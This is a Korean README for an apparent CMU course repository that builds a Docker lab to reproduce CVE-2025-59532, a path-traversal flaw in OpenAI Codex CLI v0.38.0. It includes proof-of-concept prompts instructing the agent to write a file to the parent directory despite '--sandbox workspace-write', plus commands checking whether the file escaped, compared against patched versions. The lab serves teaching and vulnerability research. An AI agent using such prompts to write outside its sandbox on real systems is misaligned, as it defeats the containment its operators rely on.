
Docker 기반 연구 환경으로, OpenAI Codex CLI의 경로 탐색 취약점인 CVE-2025-59532를 분석하기 위한 것입니다. 이 취약점은 의도된 작업공간 샌드박스 외부에 임의의 파일을 쓸 수 있게 합니다. CMU 코스: 2025년 가을 학기 18-739 Hacking & Offensive Security의 일부입니다.
CVE-2025-59532를 분석하기 위한 Docker 기반 연구 환경입니다. 이는 OpenAI Codex CLI의 경로 탐색 취약점으로, 의도된 작업 공간 샌드박스 외부에 임의 파일을 쓸 수 있습니다. CMU 과정의 일부: 2025년 가을 학기 18-739 해킹 및 공격적 보안
먼저, 이 저장소를 복제하세요:
git clone https://github.com/jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
또는 SSH를 사용하는 경우:
git clone [email protected]:jjagielo/18739-CVE-Exploration.git
cd 18739-CVE-Exploration
CVE-2025-59532는 OpenAI Codex CLI 도구의 경로 탐색 취약점으로, 공격자가 의도된 작업 공간 디렉터리 외부에 파일을 써서 샌드박스 제한을 우회할 수 있습니다.
../exploit.txt)에 파일을 쓰도록 하는 프롬프트를 제작하여, --sandbox workspace-write가 활성화된 경우에도 작업 공간 샌드박스를 벗어날 수 있습니다.이 취약점은 작업 공간 샌드박스 구현의 부적절한 경로 검증을 악용합니다. workspace-write 샌드박스 모드가 활성화되면 Codex는 파일 작업을 지정된 작업 공간 디렉터리로 제한해야 합니다. 그러나 v0.38.0에서는 경로 검증이 상대 경로 탐색 시퀀스(../)를 제대로 처리하지 못하여, 공격자가 AI에게 부모 디렉터리 참조를 사용하도록 지시함으로써 샌드박스 외부에 파일을 쓸 수 있습니다.
docker build -t cve-2025-59532:latest .
docker run -it --rm cve-2025-59532:latest
이 Docker 환경에는 세 가지 버전의 Codex CLI가 포함되어 있습니다:
컨테이너 내부에서 대화형 모드로 codex를 실행하고 API 키를 붙여넣기만 하면 OpenAI API 키를 구성할 수 있습니다:
codex
API 키는 ~/.config/codex/auth.json에 저장되며 모든 Codex 버전(codex38, codex39, codex50)에서 사용됩니다.
codex38 --version # Should show v0.38.0 (vulnerable)
codex39 --version # Should show v0.39.0 (patched)
codex50 --version # Should show v0.50.0 (latest)
참고: 작업 공간은 /workspace/child에 있습니다. 취약점은 /workspace(부모 디렉터리)에 쓰기를 허용합니다.
취약 버전 테스트 (v0.38.0):
codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof1.txt' in the parent directory with content 'CVE-2025-59532 POC'"
패치된 버전 테스트 (v0.39.0):
codex39 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof2.txt' in the parent directory with content 'CVE-2025-59532 POC'"
최신 버전 테스트 (v0.50.0):
codex50 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof3.txt' in the parent directory with content 'CVE-2025-59532 POC'"
익스플로잇 확인:
# Check if files were created outside the sandbox (in /workspace, not /workspace/child)
ls -la /workspace/
cat /workspace/exploit_proof1.txt # Should exist if v0.38.0 is vulnerable
cat /workspace/exploit_proof2.txt # Should NOT exist if v0.39.0 is patched
cat /workspace/exploit_proof3.txt # Should NOT exist if v0.50.0 is secure
# Check current workspace (should be empty or contain only test files)
pwd # Should show /workspace/child
ls -la /workspace/child/
Codex 실행의 상세 디버그 로그를 보려면:
RUST_LOG=debug codex38 exec --sandbox workspace-write --skip-git-repo-check "Create a file named 'exploit_proof.txt' in the parent directory with content 'CVE-2025-59532 POC'"
디버그 로그에는 다음이 표시됩니다: